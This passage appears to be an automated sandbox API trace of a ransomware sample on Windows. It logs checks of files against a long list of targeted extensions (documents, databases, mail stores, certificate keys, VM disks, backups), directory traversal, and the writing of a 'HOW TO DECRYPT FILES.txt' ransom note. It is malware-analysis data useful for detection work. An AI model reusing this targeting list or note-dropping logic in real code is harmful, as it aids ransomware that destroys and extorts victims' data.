5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.ofx") returned 0 [0112.105] lstrlenA (lpString="*.ofx") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qif") returned 0 [0112.105] lstrlenA (lpString="*.qif") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mye") returned 0 [0112.106] lstrlenA (lpString="*.mye") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mbox") returned 0 [0112.106] lstrlenA (lpString="*.mbox") returned 6 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.eml") returned 0 [0112.106] lstrlenA (lpString="*.eml") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.pst") returned 0 [0112.106] lstrlenA (lpString="*.pst") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.ost") returned 0 [0112.106] lstrlenA (lpString="*.ost") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.idx") returned 0 [0112.106] lstrlenA (lpString="*.idx") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.dbx") returned 0 [0112.106] lstrlenA (lpString="*.dbx") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.sql") returned 0 [0112.106] lstrlenA (lpString="*.sql") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mdb") returned 0 [0112.106] lstrlenA (lpString="*.mdb") returned 5 [0112.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.fdb") returned 0 [0112.107] lstrlenA (lpString="*.fdb") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.wab") returned 0 [0112.107] lstrlenA (lpString="*.wab") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.dat") returned 0 [0112.107] lstrlenA (lpString="*.dat") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.txt") returned 0 [0112.107] lstrlenA (lpString="*.txt") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.jpeg") returned 0 [0112.107] lstrlenA (lpString="*.jpeg") returned 6 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.jpg") returned 0 [0112.107] lstrlenA (lpString="*.jpg") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.png") returned 0 [0112.107] lstrlenA (lpString="*.png") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.php") returned 0 [0112.107] lstrlenA (lpString="*.php") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.cs") returned 0 [0112.107] lstrlenA (lpString="*.cs") returned 4 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.cpp") returned 0 [0112.107] lstrlenA (lpString="*.cpp") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.rar") returned 0 [0112.107] lstrlenA (lpString="*.rar") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.zip") returned 0 [0112.107] lstrlenA (lpString="*.zip") returned 5 [0112.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.html") returned 0 [0112.108] lstrlenA (lpString="*.html") returned 6 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.htm") returned 0 [0112.108] lstrlenA (lpString="*.htm") returned 5 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.xlsx") returned 0 [0112.108] lstrlenA (lpString="*.xlsx") returned 6 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.xls") returned 0 [0112.108] lstrlenA (lpString="*.xls") returned 5 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mp4") returned 0 [0112.108] lstrlenA (lpString="*.mp4") returned 5 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.ppt") returned 0 [0112.108] lstrlenA (lpString="*.ppt") returned 5 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.pptx") returned 0 [0112.108] lstrlenA (lpString="*.pptx") returned 6 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.doc") returned 0 [0112.108] lstrlenA (lpString="*.doc") returned 5 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.dot") returned 0 [0112.108] lstrlenA (lpString="*.dot") returned 5 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.docx") returned 0 [0112.108] lstrlenA (lpString="*.docx") returned 6 [0112.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.7z") returned 0 [0112.108] lstrlenA (lpString="*.7z") returned 4 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.tar") returned 0 [0112.109] lstrlenA (lpString="*.tar") returned 5 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.bz2") returned 0 [0112.109] lstrlenA (lpString="*.bz2") returned 5 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.gz") returned 0 [0112.109] lstrlenA (lpString="*.gz") returned 4 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mkv") returned 0 [0112.109] lstrlenA (lpString="*.mkv") returned 5 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.eml") returned 0 [0112.109] lstrlenA (lpString="*.eml") returned 5 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.msg") returned 0 [0112.109] lstrlenA (lpString="*.msg") returned 5 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.edb") returned 0 [0112.109] lstrlenA (lpString="*.edb") returned 5 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.accdb") returned 0 [0112.109] lstrlenA (lpString="*.accdb") returned 7 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.odb") returned 0 [0112.109] lstrlenA (lpString="*.odb") returned 5 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.java") returned 0 [0112.109] lstrlenA (lpString="*.java") returned 6 [0112.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.asm") returned 0 [0112.110] lstrlenA (lpString="*.asm") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.pfx") returned 0 [0112.110] lstrlenA (lpString="*.pfx") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.pem") returned 0 [0112.110] lstrlenA (lpString="*.pem") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.p12") returned 0 [0112.110] lstrlenA (lpString="*.p12") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.gpg") returned 0 [0112.110] lstrlenA (lpString="*.gpg") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.vsd") returned 0 [0112.110] lstrlenA (lpString="*.vsd") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.odg") returned 0 [0112.110] lstrlenA (lpString="*.odg") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.raw") returned 0 [0112.110] lstrlenA (lpString="*.raw") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.nef") returned 0 [0112.110] lstrlenA (lpString="*.nef") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.svg") returned 0 [0112.110] lstrlenA (lpString="*.svg") returned 5 [0112.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.psd") returned 0 [0112.111] lstrlenA (lpString="*.psd") returned 5 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.vmx") returned 0 [0112.111] lstrlenA (lpString="*.vmx") returned 5 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.vmdk") returned 0 [0112.111] lstrlenA (lpString="*.vmdk") returned 6 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.vdi") returned 0 [0112.111] lstrlenA (lpString="*.vdi") returned 5 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.lay6") returned 0 [0112.111] lstrlenA (lpString="*.lay6") returned 6 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mpeg") returned 0 [0112.111] lstrlenA (lpString="*.mpeg") returned 6 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.djvu") returned 0 [0112.111] lstrlenA (lpString="*.djvu") returned 6 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.tiff") returned 0 [0112.111] lstrlenA (lpString="*.tiff") returned 6 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.backup") returned 0 [0112.111] lstrlenA (lpString="*.backup") returned 8 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.pdf") returned 0 [0112.111] lstrlenA (lpString="*.pdf") returned 5 [0112.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.cert") returned 0 [0112.111] lstrlenA (lpString="*.cert") returned 6 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.docm") returned 0 [0112.112] lstrlenA (lpString="*.docm") returned 6 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.xlsm") returned 0 [0112.112] lstrlenA (lpString="*.xlsm") returned 6 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.dwg") returned 0 [0112.112] lstrlenA (lpString="*.dwg") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.nd") returned 0 [0112.112] lstrlenA (lpString="*.nd") returned 4 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.tlg") returned 0 [0112.112] lstrlenA (lpString="*.tlg") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.lgb") returned 0 [0112.112] lstrlenA (lpString="*.lgb") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mov") returned 0 [0112.112] lstrlenA (lpString="*.mov") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.xdw") returned 0 [0112.112] lstrlenA (lpString="*.xdw") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.ods") returned 0 [0112.112] lstrlenA (lpString="*.ods") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.wav") returned 0 [0112.112] lstrlenA (lpString="*.wav") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.mp3") returned 0 [0112.112] lstrlenA (lpString="*.mp3") returned 5 [0112.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.aiff") returned 0 [0112.113] lstrlenA (lpString="*.aiff") returned 6 [0112.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.flac") returned 0 [0112.113] lstrlenA (lpString="*.flac") returned 6 [0112.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.m4a") returned 0 [0112.113] lstrlenA (lpString="*.m4a") returned 5 [0112.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.csv") returned 0 [0112.113] lstrlenA (lpString="*.csv") returned 5 [0112.113] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0dda38c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb0dda38c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb0dda38c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Classic.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0112.113] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.113] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08590a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb08590a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb08590a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="4260e87dc94e25052b34ea78873dfedb", cAlternateFileName="4260E8~1")) returned 1 [0112.113] lstrcmpA (lpString1=".", lpString2="4260e87dc94e25052b34ea78873dfedb") returned -1 [0112.113] lstrcmpA (lpString1="..", lpString2="4260e87dc94e25052b34ea78873dfedb") returned -1 [0112.113] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\*.*") returned="*.*" [0112.113] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\", lpString2="4260e87dc94e25052b34ea78873dfedb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb" [0112.113] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb") returned 100 [0112.113] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08590a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb08590a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb08590a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.114] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.114] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08590a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb08590a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb08590a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.115] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.115] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.115] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb07e6c81, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb07e6c81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb080cde1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x71200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Aero.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0112.115] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.115] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Aero.ni.dll") returned -1 [0112.115] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Aero.ni.dll") returned -1 [0112.115] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Aero.ni.dll") returned -1 [0112.115] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\*.*") returned="*.*" [0112.115] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\" [0112.115] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\") returned="" [0112.116] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\HOW TO 